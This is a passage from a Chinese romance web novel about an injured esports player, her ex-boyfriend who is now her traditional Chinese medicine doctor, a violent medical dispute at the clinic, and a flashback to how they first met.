“鉴于你昨晚的情况,身为你的主治医生,我觉得加上中药辅助治疗,很有必要。”
他说着,将一袋才煎好的中药推到沈灯心面前,深褐色的浓稠液体气味强烈,差点没把她午饭熏的吐出来。
“左医生,这个中药,我能不喝吗……”她眨巴着眼睛看他,不想喝三个字呼之欲出。
“不行。”
左京墨撑着手摇了摇头,“难道你不想早点把手治好吗?”
“我……”
沈灯心无语凝噎,被他这句话问的没了脾气。她强忍下心中的抗拒,撕开药袋猛灌一口。
鼓膜因吞咽动作而发闷,一股强烈的药味返了上来。
蛇胆好似在胃里炸开,苦涩夹杂着辛辣的药液侵蚀着肠道,她呲牙咧嘴的想去喝水,却被左京墨拦住。
“有这么苦吗?”
他将水杯往里收,心情依旧很好:"刚喝完药不能喝水,会稀释药液影响药效的。"
舌根处愈发麻了起来,沈灯心偏过头瞪他,从他的向上挑动的嘴角中看出端倪。
这家伙摆明了是在报复她。
她怕疼,他就故意扎针扎的那么狠;她怕苦,他就故意开苦药苦的她说不出话。
男人果然都是复杂的生物,她腹诽。
明明昨天晚上说出那么犯规的话让人感动,怎么今天就跟变了个人似的。
长痛不如短痛,中药袋里的药液还剩一半,沈灯心咬咬牙,仰头全喝了进去。
她这次喝的急,颇有赌气的意思。
下唇颤抖着,沈灯心捂住嘴巴,努力克制住反胃想吐的冲动,却还是没忍住,背过身干哕。
眼见目的达成,左京墨本应开心的。
他静静望着沈灯心,眸中翻涌着晦暗不明的情绪,片刻后轻轻呼出口气,莫名觉得自己的这种行为有点幼稚。
“喝这么快干什么。”
他快步走到沈灯心背后替她顺后背,想拿点甜的东西帮她缓解苦味,却连颗糖都找不到。
“……不用。”
空气冲淡口腔里的些许苦味,沈灯心把他的手从自己的背上拍下。
“我知道,你是故意给我开这么苦的药的。”她缓缓站直了身体,“但我很好奇,你为什么要一边给我开苦药,一边安慰我。”
“左京墨,你能解释一下吗?”
4. 第四味药
她的直白像剑一样刺穿左京墨的甲胄,哑口无言的人反倒成了他。
眸光闪烁,沈灯心的视线紧紧追随着他,落在那嗫嚅的双唇上,听见他措辞良久后的回答。
“自古医者仁心,我没什么好解释的。”
左京墨清了清嗓子,照例去给她做理疗。
两个人谁都没有再主动说过话。
距离左京墨下班还有一会儿。
沈灯心没打算等他,拎起桌上剩下的中药液准备回家。
“等一下。”
左京墨放下手中的病案,开口叫住她。
“你先去我办公室坐会儿吧,等我下班了一起回去。”
“为什么?”沈灯心不解。
“……”
“我没带钥匙。”
左京墨视线飘忽,“你也不用等太久,不出一刻钟,我就能下班。”
他话说的不太自然,沈灯心蹙眉略感疑惑,但也没多想,反正回家了也没什么事做,等他一会儿还能蹭车少走一段路,何乐而不为。
她走出诊室,左手一拧,推开办公室的大门。
木质香袭来,一如既往的干净整洁,和她的房间截然相反。
视线扫过他办公室的每个角落,办公桌上的黑色笔记本电脑太过显眼,吸引了她的注意。
挺老旧的款式。
送她她都不会要的那种。
360屏保自动切换着,还处于待机界面。
看样子他是忘了关。
沈灯心盯着用户名下面的白色输入框发呆,本想着玩会手机分散注意力,谁料玩也玩不进去,心思还在电脑上,无暇顾及其他。
好奇心骚动,她并没有偷看别人隐私的习惯,单纯想知道,像左京墨那样寡淡理性的人,电脑里都会存一些什么。
手在悄然间摸上键盘,她输入左京墨生日,依稀记得他年长她三岁,在立春后生。
至于具体日期,乍一想,却怎么都想不起来。
单论记忆力,沈灯心从不觉得自己差。
电竞选手每月都有月考,考试内容大多与技能冷却时长或出装所用晶币有关。
谈不上每次都是第一,但她好歹也常年位列前茅,就没有不及格的时候。
到底是什么时候淡忘的,沈灯心自己也不清楚。
她凭着感觉试了一次,不出意料的错了。
仔细想想,左京墨也不像那种会用自己生日当密码的人,她在脑海里拼凑组合着六个数字,突然想起齐正阳说的话。
于是,她鬼使神差的输入了自己的生日。
还是错的。
长吁了一口气,沈灯心收回手放弃尝试,胸口发闷。
明明应该感觉轻松的时刻,心里却隐约的有些失望。
亏的她刚才理疗的时候还一直在想这事。
现在看来,问齐正阳这种单身狗感情问题,无疑是个错误的决定。
“走吧。”
门口传来动静,左京墨进屋脱下白大褂,将笔记本电脑合上收进电脑包里,没发现异常。
正是下班的点,停车场里几乎都是下了班的医生护士。
他的车后座里杂七杂八的放了不少东西,沈灯心无奈坐到副驾驶上,瞥见左京墨在和旁人交谈。
“老左,这次来汉城待多久啊?”
隔壁科室的医生怼着他的肩膀,两人看起来关系还不错。
发现副驾驶坐了人,那人的语气也变得调侃起来。
“这位是……”
他挑眉,向左京墨露出一个意味深长的笑:“可以啊你,什么时候谈了这么好看的女朋友,怎么也不跟哥们说一声呢。”
“别闹。”
左京墨对他的话一笑而过,把车门打开,点着车子,“我先走了,有空再聚。”
一脚油门从诊所驶出,违和的称呼横亘在两人中间,沈灯心不知道他是没听见还是怎样。
总之,他没反驳。
晒了一天的车内还有些许闷,淡淡的皮革味熏的人发晕。
沈灯心把扇叶往下调了调,找了个话题:“你这几年,有没有玩过征锋啊?”
“没有。”左京墨语气平淡,“怎么了?”
“一次都没玩过?”
她追问,试图和他有共同话题聊,“或者,你看过征锋的比赛吗?什么官方的二路的搞笑视频的都算。”
“没有。”
红灯亮起,左京墨踩下刹车看她,古井无波,“你问这个干什么?”
“没什么……”沈灯心笑笑,摆手道:“你就当我职业病犯了吧。”
马路两侧的路灯明亮,前方车流拥堵的不成样子。
她望着窗外在一片蔚蓝中遗世独立的夕阳,灵魂出走。
过去很长一段时间里,沈灯心曾认真考虑过自己的理想型。
作为外貌协会的顶级VIP,样貌自然不必多说。
另外,考虑到她自己是职业选手,就算有一天退役了,下半辈子也多半要靠征锋吃饭。
所以,这个人呢,最好会玩征锋。
段位什么的都无所谓,她有信心玩ad位带飞,纯粹不希望两人没有共同话题聊。
最后,也是最重要的一点。
她希望她未来的对象,绝对要理解她对电竞的热忱,支持她追梦。
但很显然,左京墨除了第一项拿了满分,其他两项都是负分。
在一起的半年,她不是没想过教左京墨打征锋。
MOBA游戏对新人还算友好,可惜的是左京墨在游戏方面毫无天赋,每天只知读圣贤书,和她更是话不投机半句多。
临分手前一周,沈灯心拐弯抹角的问过他,如果自己有一天当了职业选手,他会怎么看。
而他在认真思考后给出的答案是——
不理解,且不支持。
鸣笛声传入耳膜,抬眸再看,天色已然见黑,晚高峰当真恐怖如斯。
队内运营给她发来消息,提醒她过两天别忘了直播。
她还真把这事忘到了脑后。
月初不努力,月底徒伤悲。
上半个月认真备赛,每天gank到凌晨,根本没时间播。现在决赛打完,舆论随着时间的流逝逐渐平复,该补的时长还是要补回来。
她发了个卖萌的表情,可怜兮兮的问手都伤了能不能不补,或者让她直播睡觉也行。
运营秒回:“可以啊,把罚款交了就行。”
沈灯心无语,火速下单了一套新电脑配置,明天送进新家直播用。
回到家,点好的外卖早早送到门口,打开袋子,里面的炸物冷掉了一大半。
留意到她还想吃,左京墨出手制止:“喝中药了不能吃油炸食品,你不知道?”
“再加上,这都冷了,还吃它干什么。”
他言之凿凿,动作麻利。
沈灯心追在他身后,还想再争取一下却无济于事,只得眼睁睁的看着他将外卖扔进垃圾桶里,心里默默发出哀嚎。
倒不是心疼钱。
她是真的想吃炸鸡了。
莫名的疲惫感促使她瘫在客厅沙发上,双眼无光,正为晚饭的事发愁。
左京墨不着痕迹的扫过她,转身取下厨房挂钩上的围裙,穿在身上,反手系了个很是漂亮的蝴蝶结。
打开冰箱,他神情微滞,向客厅里的人询问道:
“吃阳春面,行不行?”
痛苦的回忆开了闸,一股脑儿涌现到眼前。
沈灯心打了个机灵,想起他前些年的黑暗料理,三步并两步的走到厨房:“你,你来做?”
烧着水的锅里从底部向上沸腾起小泡,左京墨腰间系着围裙,从柜子里拿出一袋挂面,沉静的看着她。
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“你要是想来做,我也没意见。”
“……”
沈灯心自动闭麦。
他从碗柜中取出两个碗,各自往里放了一块白色的固状物,意外的很香。
“你放的这是什么?”她看着碗底问,创伤后应激犯了,实在是这两天被他整的有点多,“该不会是什么网上说的科技吧……”
“……”
左京墨瞥她一眼,有些无可奈何:“这是猪油,提香用的。”
“哦。”
被人看着做饭的感觉有些不自在,左京墨把沈灯心赶了出去,没过一会儿端着两碗热乎乎的面走出来,两人相对而坐。
琥珀色的汤汁香味十足,面上浮着几根鲜绿的油菜。现炸的煎蛋外焦里嫩,看着格外诱人。
“你现在这么会做饭了?”
沈灯心暴风吸入了一半后才支吾着说,看来是真的饿了,“刚才你说做饭我还后怕呢,没想到,几年不见,厨技很有长进嘛。”
“你要是什么时候不当医生了,我高薪聘请你去我们俱乐部当厨师,一个月我得长胖十斤。”
她把汤喝了个干净,满意的舔着嘴唇。
发现左京墨也吃的大差不差,沈灯心主动起身,把碗一并拿过去放进洗碗机,简单擦拭了一下桌面。
总不能让人家又做饭又收拾的。
窗外蝉鸣声声,霓虹灯光布满城市。
屋内的面香还未散去,左京墨盯着她的背影,莫名体会到了几丝岁月静好的意味。
摆脱了高强度训练,沈灯心这两天的睡眠质量直线上升。
醒来的时候,家里又剩下她一个人。
医生这个职业实在是苦,左京墨出门诊通常起的很早,但动静小,吵不到她。
手机里又堆了几通未接电话。
沈灯心越看这号码越觉得眼熟,昨天早上貌似也是这个号码,给她打了七通电话。
归属地是她老家天城,考虑到可能是家里或者朋友有事,她索性拨了回去。
彩铃声响了很久,电话那头的人终于接听,揶揄她道:
“想把你叫醒还真难。”
她睡眼朦胧,退回拨号界面停顿两秒,差点以为自己还在做梦:“你怎么知道我新手机号的?”
“我是你的医生。”
左京墨拿起电话走出诊室,声音舒朗,“医生想知道患者的电话,还不简单吗?”
进入诊所第一天,她确实在联系电话那一栏上填下了自己的电话,本以为只是走形式主义,没想到倒是方便了左京墨。
“我来提醒你喝中药,顺便叮嘱你点事。”
他低头插兜,在楼道间徘徊,说话时带着回音:“你单手拿锅可能有点费劲,一会儿吃完饭热药,就用微波炉热。”
“中火30秒后取出来搅拌,再加热30秒,隔热手套在橱柜第三层。”
他事无巨细,迟迟没听到沈灯心声音,担心她一翻身又睡过去,提高了音量:“都听明白了吗,别告诉我你睡着了。”
“听见了听见了。”
牙膏的泡沫挂在嘴边,沈灯心仰头漱口,擦干净嘴回他:“就是你说的太多了,我得慢慢消化。”
她趿拉着拖鞋走到厨房,放在微波炉边的中药液映入眼帘,视线往上数到橱柜第三层,一对厚厚的隔热手套正放在中央。
意外的顺利。
“东西我都找到了,那我先吃饭了。”
“还有一件事没说!”
怕她挂断,左京墨在嘴里磋磨了很久的话终于吐出来,“药苦,你要是喝完觉得难受,就打开冰箱。”
“保鲜盒里面的东西是给你的,我亲手做的,很健康。”
“……挂了。”
他说的仓促,挂的也仓促。
推开冰箱门,沈灯心打开保鲜盒的盖子,定睛一看,是蜂蜜柠檬。
5. 第五味药
家附近的外卖吃的大差不差,沈灯心随便对付了两口把中药喝下,用筷子夹出一片蜂蜜柠檬含在嘴里。
切片工整严谨,柠檬籽被挑的一干二净,洋槐蜂蜜的甜将柠檬的酸完美中和,又不发腻。
是好吃的。
外面天热的厉害,阳光炙烤的人皮肤生疼。她打了把遮阳伞出门,巴不得整个身体都躲在阴影下。
风里滚着阵阵热浪,汗水浸湿发梢,只是从地铁站走到医院,便已经热的难以承受。
左京墨在诊室里等候她多时,适中的温度令沈灯心直呼舒服。
他打量着沈灯心的神情,问:“中药喝了吗?”
“喝了。”沈灯心很诚实的点了点头。
吃过酸的,口腔里容易泛口水,她咽了口唾沫,抿开嘴:“那个,谢谢你啊。”
“嗯?”左京墨眉梢微动,抬眸看她。
“今天的蜂蜜柠檬,挺好吃的。”
沈灯心忽闪着眼睛,倏地凑到他面前:“明天,你还能做给我吃吗?”
她生的好,玉瓷般白皙的脸上长了双灵动的杏眼,笑起来的时候眉眼弯弯。
深褐色的瞳孔里充斥着坦率与单纯,容不下半分非分之想。
额前的碎发落下,左京墨同她对视数秒,喉结微动,向后挪动了半分椅子,拉开距离。
“再议。”
他把脉枕放到沈灯心面前,掌心朝上,示意她把手伸过来把脉。
左京墨的手很白,指节分明且发粉,中指的两个指节正是她手腕的长度。
指甲清理的很干净,甲床上还能看见月牙。
青筋从他的手背蜿蜒生长,一直蔓延进白色衬衫的袖口。
带着薄茧的手指搭在她的手腕上,温热渗进皮肤直达五脏深处。
沈灯心感受着自己的脉搏,莫名觉得涩气。
“把脉的时候不要胡思乱想,大脑尽量放空。”
“哦哦。”
她小心思被戳中,越想放空大脑越静不下来。
中医连这些都能把出来吗?
那她在左京墨面前岂不是毫无隐私可言。
跳动频率愈发紊乱,左京墨探的一清二楚,抽回手,在就诊本上慢条斯理的写下四个大字——
肝气郁结。
沈灯心看不懂专业名词,凭直觉认为这不是个好词:“什么是肝气郁结?”
左京墨答:“想太多。”
沈灯心:“……”
适应了三天,她对针灸的恐惧散去了不少。
余痛未消,门外吵吵闹闹的,听起来像是在大声嚷着左京墨的名字,夹杂着几句粗鄙不堪的脏话。
声音由远及近,愈发清晰。
沈灯心投给左京墨一个疑惑的眼神,显然还在状况外。
“过来。”
左京墨拉起她的手往后退,眼神锋利,直指门口。
下一秒,诊室的大门猛地被人踹开,发出巨大一声闷响。
这几年医闹的事情频发,原以为在西医多见,没想到中医这边也有。
好在左京墨刚才有先见之明,不然这一下他俩指不定被撞成什么样。
“无良庸医,还我血汗钱!”
门外的男人气势汹汹,留着一头板寸,面色泛着异样的红。
那双能把人生吞活剥的三白眼死死盯着左京墨,上下双唇薄的可怕。
单看面相,便已猜出来者不善。
走廊里的吵闹声不绝于耳,围观群众从候诊厅凑过来看热闹,你一嘴我一嘴的说着。
保安从一楼大厅赶上来,好不容易快上到二楼,转头又被楼道口拥挤的人群顶了下去。
隔壁诊室的几个医生壮起胆子,赶来拉住男人,好言相劝:“有什么话好好说,你再这样我们要报警了。”
“我怎么好好说!大家伙都知道现在中药多贵吧!”他脸气的通红,把包里的中药液摔到地上,接近失控,“而我们的这位左医生,仗着家里的关系成为主任医师,其实根本德不配位!”
“我喝完他开的中药,根本没有任何效果!今天早上找他算账,他居然还敢舔着脸说是我的问题,拒不赔钱!”
话音落在每个人的耳中,一传十十传百,人群顿时沸腾起来。
几个多事的看客不知前因后果,指着左京墨叽叽喳喳个没完。
更有甚者举起手机开始拍照录像,闪光灯晃过沈灯心的眼。
她气不过,要冲上去和男人理论。
握着她的那双手紧了紧。
身边人克制而冷静的声音先她一步响起,一出口稳定军心。
“首先,我要说明一点。”
“我给你开的药没有任何问题,如果你觉得我医术不精,给你开贵药假药,我们可以去医调委解决这件事。”
“我相信,医调委会还我一个清白。”
白色的身影稳稳站在她身旁,沈灯心仰头,心脏一下踩空。
男人骨相优越的脸上尽显锋芒,剑眉压眼,那是他从未对她流露过的神情。
“至于你刚才说的。”
左京墨抬高音量底气十足,颇有副泰山崩前而不乱的气势:“药之所以没有效果,是因为你在我明确告之不能饮酒的情况下,违背医嘱,多次擅自饮酒。”
“今早你来看诊的时候,口腔里甚至还残存着酒味。”
此话一出,围观群众唏嘘一片。
沈灯心很早之前就见识过他的理性。
多年辗转,他的功力貌似更胜从前,用最短的时间说明了情况,且条理清晰,不见慌乱。
无数双审视的眼睛盯着他,但他依旧冷静的出奇,继续补充道:“这个药,你既然喝了,就没有退的道理,无论是在仁济,还是在其他医院,都是这样。”
“你!你胡说八道!”
“我根本就没有喝酒!你这是造谣,是诽谤!”
男人被他的气势震慑住,口齿不清的继续狡辩。
群众风向很明显的向左京墨倾斜,他自知理亏却依旧纠缠不休,气急败坏的伸出手咒骂左京墨。
似乎是觉得影响还不大,他哐当一声,往地上蛮横一坐,当即开始耍泼打滚,摆明了就是想要钱。
怒气在体内横冲直撞,沈灯心隐忍许多,冷嗤一声,刚想激情开麦。
没想到人潮中有人先她一步。
“人要脸,树要皮。”
“老太太我活这么大还没遇见这么臭不要脸的。”
一个花白着头发的奶奶从人群中走出来,看起来约莫六十来岁。
穿着朴素,声音响亮。
手里拎着几包中药液,人却很精神。
沈灯心对她有点印象,这几天她来理疗的时候,和这位奶奶在诊室门口碰过几次照面。
她是左京墨的病人。
“人家左医生好不容易来汉城交流学习,我一个老太婆捣鼓不好手机总是抢不上号,左医生体谅我们这些老年人,每次来汉城都给我们提前发消息,给我们预留号。”
“我家条件不好,老头又身体虚弱,常年靠中药调理。”
“左医生知道我家情况后,将黄芪换成了
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更便宜的党参,药效却没什么太大的变化。”
她说着说着言辞激烈起来,倒是个性情中人:“这么好的医生,天底下打着灯笼都难找。你知不知道,你的这些举动得多寒一个医生的心啊!”
其他挂过左京墨门诊的患者纷纷为他说起好话。
从角落里挤出一条路的保安终于赶了过来,拽起地上的闹事男子就要走。
叫好声和掌声响起,沈灯心虽然什么都没做,但还是不可控的松了一口气。
上次遇到这么刺激的事,还是在赛场。
逆风局关键开团,五杀改命,力挽狂澜。
明黄色的Victory在屏幕上亮起,她如梦初醒的摘下耳机,这才意识到自己的双手抖如筛糠,掌心的汗沿着掌纹变成了河。
突然,人群里又是一阵骚动,纷纷尖叫逃散。
男人不知是怎么挣脱保安的束缚,他不管不顾的抄起楼道里的医疗器械,直直的奔向左京墨,眼底一片猩红,令人害怕。
他动作太快,像不要命的疯子。
“小心!”
沈灯心率先感受到危险,扬声提醒。
原以为事情已经结束的左京墨正在她的正右手边扶设备,听见她的声音后堪堪回头。
视线锁定住还在疯跑的闹事男子,瞳孔在片刻间放大,双腿仍定在原地。
人在遇到危险的时候很难做出反应。
危机关头,沈灯心见他还没动,冲上前一步,大脑硬盘烧成灰烬。
恍惚间,她仿佛看见器械砸在左京墨头上,发出闷响。
殷红的液体从他饱满的额前流下,那张好看到人神共愤的脸上多出一道血痕,就这么破了相。
光是想想就让人崩溃。
她决不允许这样的事发生。
职业选手的反应速度大多异于常人,她背过身,闭上眼,想也没想的扑到了左京墨前面。
惯性带动两人往墙上撞去。
周遭响起一阵器械碰撞的动静,预想中的疼痛迟迟没有降临。
她睁开眼,一片狼藉。
左京墨背靠墙,针车被移了位置,东西全撒在地上。
而那个发疯的男人正被保安重新禁锢,叫苦连连,捂着肚子喊痛,
这么短的时间。
到底发生了什么?
肩膀传来温热的触感,她疑惑抬头,发丝剐蹭过他的唇侧,和左京墨对上眼神。
“你怎么……”
想问出口的话,被他一个措不及防的拥抱打断。
身旁的围观群众稀稀拉拉的散去,事态这下才真正得以平息。
刚烧干净的大脑硬盘来不及迅速反应,沈灯心双手悬在半空,人都是僵的。
比她高了将近十二厘米的男人完全将她圈进怀里,颤抖的躯体出卖了他引以为傲的理性与冷静。
这家伙,是被吓坏了?
想想也是,被那么一个不要命的疯子缠上,换谁都会被吓得不轻吧。
沈灯心迟钝半晌后去顺他的背,本意安抚,却被他抱的更紧。
下巴嵌进她瘦削的锁骨,咯的生疼。
理智这才逐渐回笼。
"抱歉。"
左京墨难得显露出失态的一面,缓缓松开怀抱,泄力靠在墙上,声音喑哑。
“下次,不要再这么冲动了。”
“如果我没把针车推过去,你该怎么办?”
他说着,转身向后扶起设备,走进诊室。
走廊里一片清明。
独留他的声音一遍遍的响。
6. 第六味药
荒唐的闹剧结束,沈灯心独自回了家。
搭乘上出租车,她坐着也是无聊,打开手机,正好看到今天医闹的视频,热议不断。
当时的围观群众太多,视频被传开是毋庸置疑的事情。
沈灯心打开其中一个录制时长最长的视频,拖动进度条到闹事男子向左京墨冲来的那一刻。
她紧紧盯着屏幕。
拍摄者的视角开阔,高清像素令她足以看清很多细节——
她向前一步,转身扑向左京墨。
怔在原地的男人似乎对她这一举动觉得震惊,神情沾染慌乱。
临危之际,他利用身体向后仰的相对力。
一手推出针车拦住闹事男子,一手牢牢护住她的腰,避免她那旧伤未愈的腕骨撞到墙上。
原来她闭眼的那短短几秒,经历了这么多。
沈灯心正想继续往下看,屏幕一卡变成了灰色,留下一行白字。
[该视频已被下架。]
-
手机震动个不停。
运营快要把她的电话打爆,张口闭口都是公众人物要注意影响,你这样我们很难办。
“哎呀,对不起嘛,我当时也没考虑那么多。”
沈灯心一个劲儿的赔罪说纯属意外,运营冷笑两声,提醒她今晚记得直播后匆匆挂了电话。
她总算得以消停。
预约的送货上门时间是六点,快递小哥先到了两分钟,把显示器和机箱等配置搬了上去。
锁车声响起,左京墨拎着一兜子菜上楼。
才出电梯,便发现沈灯心站一堆快递中间,眨巴着眼睛看他。
“买的什么。”
他声音依旧淡淡,情绪全部被强压进眼底。
视线扫描过所有快递的包装和品牌,已经猜出个大概。
“我这个月还欠了点直播时长。”
沈灯心没来由的心虚,躲开他的目光,“你放心,我肯定会遵医嘱,不会有高强度训练的。”
恢复了两三成的手还不能拎重物,她把小件的东西先一趟一趟的运了进去,剩下显示器和机箱的两个大快递。
麻烦两个字说出来烫嘴,她只得向左京墨投以求助的眼神,却惨遭无视。
好狠心的男人。
左京墨转身走进厨房忙碌。
辣椒去籽,菜叶洗净。
轻磕碗边,蛋黄连同蛋清一并滑进碗里。
他手拿筷子,在瓷碗里快速搅动打散鸡蛋,适时加入小半勺淀粉使蛋更嫩。
沈灯心搬东西搬到一半,被他做饭的身影迷住。
休闲装也难掩他身上那清秀疏离的气质。
左京墨挽起袖口,露出结实的小臂肌肉,围裙的细带勾勒腰身。
浓颜系的长相极其抗打,哪怕在厨房的顶光灯下,侧颜依旧优越。
虽然……
虽然这人做饭时也好看的过分,但自打医闹一事过后,这家伙的态度怎么更加冷淡了。
不就是抱了一下吗。
他也没有很吃亏吧。
沈灯心越想心里越烦得慌,回主卧快速组装了一下机箱。
白色的海景房机箱看得人幸福感倍生,她习惯性把主机放在桌上。布置好桌面,在显示器上方插上摄像头。
适应新电脑需要过程,她先打开官网下载征锋。
毕竟是靠征锋这游戏吃饭的,就算手伤了打不了排位,搞点水友赛什么的活动提升直播效果也是好的。
斗喵是TK俱乐部用来直播的APP。
队内每个人的直播时长大相径庭,一般来说,流量选手和成绩较好的选手签约直播时长会更长。
TK俱乐部作为征锋职业联赛的老牌俱乐部,整队流量都较大。
尤其是担任射辅位的沈灯心和齐正阳,月直播时长更是高达恐怖的40小时。
且必须露头。
饭菜的香味从厨房飘来,她肚中的馋虫蠢蠢欲动。
中午本来就没吃多少,下午又经历了那样的事,早就饿的不行了。
走到客厅,她扒头往厨房看,正好和左京墨对上眼神。
他端着炒好的最后一道菜走出来。
荤素搭配有致,色香味俱全。
视线落在桌上,她顺势一看,青椒肉丝,素炒上海青,还有紫菜蛋花汤。
好巧,全都是她爱吃的菜。
这人的厨艺增长的不止一星半点。
饥饿感再次袭来,咕咕叫的声音异常明显。
她取舍了一下。
黄色外卖软件里的饭大同小异,早已不能满足她的需求。
如果恰当的厚脸皮能换来一顿饭的话。
感觉挺值。
沈灯心快步走到饭桌前,捂嘴装出一副惊喜的模样:“哇塞,这么丰盛啊!这饭菜香味隔老远都能闻见!”
“……”
左京墨瞥她一眼,将围裙放回原位,拉开凳子坐下,一点情绪波动都没给。
她不死心,笑着继续夸:“看来,左医生不光医术精湛,厨艺更是绝上加绝啊!”
“……”
好冷漠的男人。
看样子他是不吃夸夸这一套了。
沈灯心收回笑容,深吸口气,扭头正准备去拿泡面将就一晚。
余光中,她意外察觉到他唇角扬起的,极其细微的弧度。
几乎是一闪而过。
“先洗手。”
左京墨正了正神色,用筷尾指了指煮饭锅:“一会儿自己盛饭,过来吃。”
“……”
"好嘞!”
沈灯心只犹豫了一秒就接受了他的邀请。
-
饭是很好吃没错了,就是……
餐桌上的气氛很诡异。
沈灯心夹起青菜送进嘴里,不知道怎么形容。
都说男生心理学类似于儿童心理学,本质上都是渴望被夸赞的。
难道是夸的还不够?
不然这人的脸怎么又这么臭。
扒拉完碗里的最后一口饭,她欣然起身,却看见左京墨将筷子撂下,一副欲言又止的模样。
“你今晚就要直播吗?”
他低头,声音略带沙哑:“和他一起吗?”
“啊?”沈灯心疑惑:“和谁?”
“陪你来看病的那个。”
“?”
莫名其妙。
他怎么突然问起这个。
沈灯心把碗塞进洗碗机,认真回复:“以前的话,的确有可能,因为我俩是射辅,有时候需要双排。”
"最近应该就不会了。”
她将目光定在左京墨身上,问:“怎么问这个?”
都说女人心海底针,沈灯心从来不这么觉得。
相反的,她认为,男人心才是真正的海底针。
而左京墨的心,是掉进马里亚纳海沟的一根头发丝。
比如现在这种时候,她就很想掰开左京墨的脑袋,看看他到底在想什么。
“没事。”
左京墨沉默了半晌,接着说,“你的手伤还没恢复好,如果一定要直播,不可以打游戏。”
所以。<
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他憋了半天,只是为了说这个?
沈灯心如释重负,还他一抹笑意:“放心吧。”
她信誓旦旦,“我要是偷偷训练,我就是狗。”
-
回到主卧。
她坐到电竞椅上,看着征锋下载进度条上缓慢增长的数字,脑海里回放起许多片段。
征锋这款MOBA游戏出的较晚,但因为其独特的角色技能和多样玩法迅速走红,职业联赛也应运而生。
沈灯心从十五岁接触征锋,而后一发不可收拾。
十六岁那年,她凭着绝对的压制力霸榜国榜第一,更是为其招牌英雄捷羽和诺拉开创了新的“传送流”打法。
一时间,她名声大噪,被各大俱乐部疯抢。
也是在那个时候,征锋职业联赛为向另外两大MOBA类职业联赛看齐,公布了一条赛事新规。
[凡参与征锋职业联赛的首发电竞选手,必须成年。]
出发点是好的,目的在于防止未成年荒废学业,沉迷打游戏无法自拔。
可沈灯心的职业之路也就此耽搁。
电竞选手的黄金年龄,普遍在十五岁到二十岁左右。
只有小部分选手能常年保持着高强度的训练,坚持到二十五岁甚至更年长。
要知道。
每长一岁,都有可能再也无法达到原先的反应速度。
赛场瞬息万变,一个小错误便有可能葬送全局。
在八倍速的电竞世界里,没有哪个俱乐部敢去赌,赌她两年后还能保持这种竞技状态。
但好在SNG俱乐部坚定的选择了她。
凭着一腔孤勇,沈灯心就此离家,以身证道,与SNG签约,在SNG青训营里等待着自己的十八岁生日到来。
天才如过江之鲫,能进去青训营的大多都霸榜过国一,再不济也是手握多个绝活不怕被针对的。
她不敢松懈,怕自己后悔,怕家里人嘲笑,更害怕被新人比下去。
唯有日复一日的训练,在各项考核中脱颖而出,才能让她倍感心安。
可青训选手终究是不比职业选手,待遇差到令人咋舌。
工资少不说,还明令禁止代打行为,想开直播赚点外快都不行。
竞争压力和生存压力犹如两块巨石,压的她喘不上气。
十八岁生日那天,SNG队内首发ad兼指挥位Soul率队拿下春季赛冠军,状态火热。
她的首发梦再一次破灭。
离开SNG青训营的那天,阴雨连绵。
沈灯心只身站在雨里,突然就明白了,为什么小说里的主角每逢失意,总会下雨。
温热的液体从眼眶溢出,顺着她那姣好的面庞流下,汇入大地。
这样也挺好。
最起码没人发现她哭了。
不敢告诉家里人实情,她就这么在天城混了下去。
没有高中文凭,求职四处碰壁。
后来终于走大运,找了个穿玩偶服在校园门口发传单的工作。
虽然累了点热了点,但不影响到她晚上打排位。
也就是在那时候,沈灯心遇见了左京墨。
彼时骄阳正好。
少年穿着一身干净的白衬衫,身长如玉,气质卓然。
黑色碎发被风吹乱,他随意的向后捋过,将正脸完全的袒露在她面前。
那是一双摄人心魄的桃花眼。
却并不含笑,偏生出清高疏离的气质。
沈灯心的呼吸一滞——
这男的,真的,好特么的帅。
7. 第七味药
难得颜狗有春天,沈灯心活到这么大,头一次见到这么符合自己胃口的一张脸,哪里还来得及装矜持。
不管三七二十一,她凑到他跟前,声音青涩,话语却直截了当。
“这位同学,我们能认识一下吗?”
企鹅的玩偶服太过呆板笨重,内部自带的钢圈固定将她衬的胖了一圈,以至于她很难听清少年的回答。
“你说什么?”她提高了音量。
“我说——”
沈灯心又凑近了些,才听到两个字,便被一阵急促响亮的下课铃声打断。
摊位摆在食堂门口,从教学楼里出来的学生乌泱一片,吵吵闹闹的。
少年后续的回答无异于自带一串乱码。
她不想错过这天赐的缘分,当即脱下玩偶头,重复了一遍最初的话:“这位同学,我们能认识一下吗?”
少年低头,目光怔愣一瞬,眼底的震惊之色难以掩盖。
沈灯心望着他,莫名觉得紧张。
她伸手将脸侧被汗打湿的发丝往耳后顺,努力向少年扬起一个极为标准的笑:“我没有别的意思,就是觉得你挺好看的,想加一下你的微信……”
害怕被拒,她又连忙补充:“你要是觉得不合适的话,那我们当朋友也行的!”
“噗嗤。”
少年身边同行的两人不约而同的笑了出来,对这种场景似乎已经见怪不怪。
“瞧瞧,这又是一个小迷妹。”两人相视一笑,齐刷刷调侃:“妹子,听我们俩一句劝,他这人不愿意加别人微信的。”
“就算你真要到了,他也不会跟你聊天的,还不如不加。”
“啊……”
沈灯心拖长尾音,抱着玩偶头叹了口气,有些可惜。
接着,她听到那两人中的一人向她说道:“不过,我觉得你挺有意思的,咱俩要不要认识一下?”
他说着,将手机拿了出来,看样子是想加她微信。
可她没有认识别人的打算。
沈灯心讪讪一笑,并未直接同意,反而眯起眼打量他。
一双眼睛,一个鼻子,一张嘴,两个耳朵。
没什么特别的。
说难听点,管刚向自己朋友要过微信的女孩要微信,他也挺没分寸感,根本就没有认识的必要。
她开口想拒绝,却见那人的手机正上方伸来了一只骨节分明的手,带着淡淡的木质香味。
挡住了那人的微信好友码。
“谁说我不加了。”
她顺着这双手往上看。
卸去了黑色镂空网罩,沈灯心更近距离的看清了少年的脸。
他的眉骨上方,有一颗深棕色的小痣。
……
怎么感觉近看更帅了。
“诶诶诶?今儿太阳是从西边升出来了?这还是老左吗?”
一向自持理性清高的人突然转了性,难免令人觉得新奇。
少年并未加以解释,只是一昧的将微信好友码亮出来,递到她面前。
目光熠熠,夹杂着一丝不易察觉的侵略感。
“我叫左京墨。”
“左右的左,京剧的京,文墨的墨。”
-
[资源加载完毕,请启动游戏。]
游戏提示音发出哔的一声响。
沈灯心如梦初醒。
打职业赛程紧,从前她很少有时间去想这些有的没的。
浪费时间不说,也没什么意思。
现在空闲下来,整天没什么事干。
大脑里那根紧绷了多年的弦随之松开,许多尘封的回忆就这么不可遏制的跑了出来。
【您关注的主播汉城TK.Positive齐正阳开播了。】
